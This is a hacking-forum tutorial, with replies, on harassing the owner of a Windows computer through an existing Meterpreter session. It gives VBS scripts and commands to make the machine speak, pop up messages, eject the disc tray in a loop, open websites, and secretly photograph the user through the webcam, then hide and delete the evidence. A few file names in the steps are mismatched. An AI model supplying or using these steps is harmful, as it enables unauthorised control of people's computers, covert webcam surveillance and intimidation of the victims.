Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

[Metasploit] Messing with people using Meterpreter

Fun with Meterpreter



Hello, this is a tutorial on harassing people with Meterpreter. You can harass your friends and then tell them afterwards it was you... this is just for fun. If you harass random innocent people you don't know or have no reason to then that's not what this thread was made for. Note that forensic investigators can easily recover the deleted files for evidence so that's one reason I recommend you just do this to a friend as a prank. Basically this is a bunch of ways/ideas to mess with your target and just have fun. (I'm mostly going to be using the method of uploading .vbs scripts and running them to make odd things happen to their computer).

Meterpreter


Meterpreter is a payload in Metasploit that gives you almost infinite access to your target's computer. Let's say you have a Meterpreter shell on their computer. Here's how to harass them with Meterpreter! Note that most of these methods only work if your target system is running Windows. The hacker system is Linux in this tutorial.

Making their computer talk to them


On your computer create a new file called "talk.vbs". Open it with your text editor and paste this code in:

Do
StrText=("Knock knock, who's there?")
strText2=("Your fate!")
set ObjVoice = CreateObject("SAPI.SpVoice")
ObjVoice.Speak StrText
ObjVoice.Speak StrText2
Loop

You can replace the words with whatever you like. Save it, now go back to Meterpreter and type:

meterpreter> upload (path to vbs file) C:\Users\%username%\Documents

You might want to put the vbs script in a more hidden place so he doesn't find it, but that was just an example. (remember, before you exit Meterpreter be sure to delete these vbs scripts!) Now to make it talk we just have to execute the vbs script:

meterpreter> shell

C:\> start (path to vbs file)

Knock knock.... ...who's there? Your fate!


Show him a picture of his webcam

This one is easy.

meterpreter> webcam_list

meterpreter> webcam_snap -i (webcam number)

Now let's upload the picture to his desktop so he'll see it and get freaked out

meterpreter> upload (path to your picture) C:\Users\%username%\Desktop

Pop up message boxes

Just like first method you make a vbs script and upload it. Here's the code for the pop up box:

x=msgbox("Your Text Here" ,0, "Your Title Here")

Of course switch it around and make it the way you like. Now upload it:

meterpreter> upload (path to your vbs file) C:\Users\%username%\Documents

Now run it:

meterpreter> shell

C:\> start C:\Users\%username%\Documents\disc_tray.vbs

Pop up random websites

I shouldn't even have to explain it.

meterpreter> shell

C:\> iexplore "yourwebsite.com"

There, replace the quotes with your website and bam.

Opening & closing the disc tray

Here's a vbs script that can open and close the disc tray on the target computer over and over:


Set oWMP = CreateObject("WMPlayer.OCX.7" )
Set colCDROMs = oWMP.cdromCollection
if colCDROMs.Count >= 1 then
do
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next ' cdrom
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next ' cdrom
loop
End If


Now upload it:

meterpreter> upload (path to vbs script) C:\Users\%username%\Documents

meterpreter> shell

C:\> start C:\Users\%username%\Documents\popup.vbs

If I showed anything wrong or untrue please correct me in a comment, I'm not very experienced with meterpreter yet. These are just ideas I got and I thought I'd share some of them.

Thank You!
Nice tutorial mate! ;)
Well done for making this.
Kind of detailed...this will help many noobs begin their journey within Metasploit!
Thanks mate. Gonna try this soon


Possibly Related Threads...
Thread / Author Replies Views Last Post
by SDdsdflMay 28, 2024 06:30 AM 1 157 May 28, 2024 06:30 AM
Last Post: samsepiolzz
by ManWithNoFearSep 20, 2022 08:41 PM 0 146 Sep 20, 2022 08:41 PM
Last Post: ManWithNoFear
by sloberApr 18, 2020 10:24 AM 0 198 Apr 18, 2020 10:24 AM
Last Post: slober